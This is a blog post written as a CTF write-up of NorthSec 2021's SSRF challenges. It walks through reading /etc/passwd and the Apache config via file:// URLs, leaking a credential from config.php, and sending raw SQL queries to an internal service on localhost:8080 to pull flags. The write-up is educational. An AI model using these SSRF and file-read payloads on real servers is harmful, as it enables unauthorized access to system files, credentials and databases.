NorthSec CTF write-up — part 1

It has been a few weeks since I wrote my last post! I was working on another post (which is almost done), but then NSec’s CTF was coming up so I had to prepare a bit!

We did come up in 11'th place!

📣📣📣 Have a look at our Top 15 teams 🔥🔥🔥🔥🔥 for #NSEC2021 🏳️🏳️🏳️ #CTF 🏳️🏳️🏳️
Congratulations!!! 🥳🎈🎉🎊 🥳🎈🎉🎊 🥳🎈🎉🎊 🥳🎈🎉🎊
💙💙💙💙 NorthSec was happy to have you all!💙💙💙💙

- NorthSec (@NorthSec_io) May 23, 2021

In the coming weeks, I will be writing a few write-ups of a few challenges I found really interesting and challenging. I will try to break them down as much as possible to make them understandable to the broadest public as possible.

Until then, I will explain here more simple challenges I helped solve so that the new comers to CTFs can understand how it was done.

SSRF 101–103

Note: Sorry for the format of the code, I am not sure why it get’s like that when I paste in Medium.

SSRF means “Server-Side Request Forgery”. This type of vulnerability allows an attacker to make a server make an arbitrary request, potentially accessing restricted services or pages (imagine a server where the “/admin” page is restricted to the internal network).

We were given a website that had a form where we could ask the website to “cast a spell” (the scenario was around wizards):

When we clicked a spell on the side (like “Abra!”), the URL field would be get filled with “http://localhost/spell.php?spell=abra" (I might be wrong on the exact URL, but you get the idea). The field “Method” would get the value “GET” (meaning a GET request). If we submitted the request, we would receive the text “Cadabra!”; nothing interesting. I could know the webpage was in PHP because of the headers in the response and I got the same page when requesting “index.php”.

The title of the challenge is a big hint! So we tried “" and we could confirm that we could go anywhere with this form. So from here, what can we do?

I asked google how PHP can fetch pages and display the content, which pointed me to the function “ file_get_contents “. Looking at the documentation from PHP, we can see a few interesting informations:

file_get_contents(''); file_get_contents('./people.txt');

From this, I understand 2 things:
1. We can enter a URL, confirming it might be how the site gets the content
2. We can enter a file, meaning we could potentially ask for any file on the server?

Well that’s a good idea! Let’s try with the classic “/etc/passwd”: file:///etc/passwd (we specify “”file://” as the protocol, as opposed to “http://”):

That’s it! We could include a local file! But at the moment there is no flag, so we need to dig further. I don’t know where the website is located on the server, so I’ll go check Apache’s configuration file in the standard location, hoping nothing differs from the default config: file:///etc/apache2/sites-enabled/000-default.conf
I get this content:

<VirtualHost *:80> ServerName localhost DocumentRoot /var/www/html/spell-api </VirtualHost> <VirtualHost *:8080> ServerName localhost DocumentRoot /var/www/html/spell-library <Directory /var/www/html/spell-library> Order deny,allow Deny from all Allow from ::1 Allow from localhost </Directory> </VirtualHost>

So from here, we know the main website is stored in “/var/www/html/spell-api” and the second website (the one with the port 8080) in “/var/www/html/spell-library”. Let’s try the first website’s “index.php”: file:////var/www/html/spell-api/index.php :

<?php require_once("config.php"); if(isset($_GET["spell"])){ $spell = strtolower($_GET["spell"]); if($spell === "abra"){ echo "Cadabra!"; die(); } elseif($spell === "open"){ echo "Sesame!"; die(); } elseif($spell === "healthcheck"){ $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, "http://".SPELL_LIBRARY_HOST.":".SPELL_LIBRARY_PORT.""); curl_setopt($ch, CURLOPT_POSTFIELDS, "user=".SPELL_LIBRARY_USER."&password=".urlencode(SPELL_LIBRARY_PASSWORD)); curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE); $output = curl_exec($ch); curl_close($ch); echo $output; die(); } else { echo "This spell is not yet implemented in our system. Wait some more years and try again, young apprentice."; die(); } }

Hum, no flag. But we can see some variables (SPELL_LIBRARY_USER, SPELL_LIBRARY_PASSWORD) as well as how the website does the request. Let’s find the value of the variables; they are probably stored in the included “config.php” file file:////var/www/html/spell-api/config.php:

<?php #FLAG-3b9be864e856c31b6ce2b94435b17803 (1/3) define("SPELL_LIBRARY_USER", "postgres"); define("SPELL_LIBRARY_PASSWORD", "Let&me=in"); define("SPELL_LIBRARY_HOST", "localhost"); define("SPELL_LIBRARY_PORT", 8080);

First flag! Nice! And we now know there are 3 flags! Let’s continue on to the index of the second website: file:///var/www/html/spell-library/index.php:

<?php if(isset($_POST['user'], $_POST['password'])) { try{ $conn = new PDO("pgsql:host=localhost;port=5432;", $_POST['user'], $_POST['password'], array(PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION)); } catch (PDOException $e){ echo "You are not a wizard, get out!"; die(); } if(isset($_POST["query"])){ try{ $cursor = $conn->query($_POST["query"]); $results = $cursor->fetchall(PDO::FETCH_ASSOC); if(!empty($results)){ $columns = array_keys($results[0]); echo implode(" | ", $columns)."\n"; foreach ($results as $key => $value) { echo implode(" | ", $value)."\n"; } } } catch(PDOException $e) { echo "Seems like your spell failed. You should have studied more!"; die(); } } else { echo "Yes, yes.. I'm alive. What is it?"; die(); } } else { echo "Only a wizard can access the library."; die(); }

Ok so this website uses the user and password sent with the request in the main site on this line:

curl_setopt($ch, CURLOPT_POSTFIELDS, "user=".SPELL_LIBRARY_USER."&password=".urlencode(SPELL_LIBRARY_PASSWORD));

It is also able to receive a hidden “query” parameter that we can add to our request. Let’s bypass the spell.php file and request directly this website with the right parameters to get all the existing tables in the DB http://localhost:8080/?user=postgres&password=Let%26me%3din&query=SELECT+table_name+FROM+information_schema.tables
Note: more info on how to do this:

From this point, I don’t have exactly what was return from the request, but I do have my final payload: http://localhost:8080/?user=postgres&password=Let%26me%3din&query=select+*+from flag_589725fe305.flag
With this query, we received the flag that was in the DB.

For the third flag, we found it by simply guessing file:///flag.txt and got it. After asking the challenge designer, it turns out he made a mistake and that file was supposed to have a random name so we couldn’t simply guess. My understanding is that we were suppose to get remote code execution on the server through the SQL injection. More info:


Well that’s it for now!

If you’re interested in other write-ups, you can find them here:

Also, don’t hesitate to ask me questions, I know hacking is hard! It is for everyone!


If you like my blog and my posts, please consider donating!

Originally published at on May 29, 2021.




Passionate about information security, development and technology in general, I like to share my experience with different technologies. I also love travel!

Love podcasts or audiobooks? Learn on the go with our new app.

Recommended from Medium

Refactoring Java code to use Functional Programming

Flutter: Add show more functionality to your Text widget

Deploying a Symfony application with Capistrano

Lessons learned in a major Rails upgrade: strategy

How to set-up a home network with Ubiquiti devices and T-Mobile Thuis.

SaaS Application Architectural Principles

Hey a inspiraars thanks for the follow!

Frequent Issues I Face When Working With GraphQL and How to Overcome Them

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store
Tristan Dostaler

Tristan Dostaler

Passionate about information security, development and technology in general, I like to share my experience with different technologies. I also love travel!

More from Medium

Root me: Bash — System 1

DiceCTF 2022 — write-up

The Cyber Grabs — Boot2root

CTFSGCTF 2022 Write-ups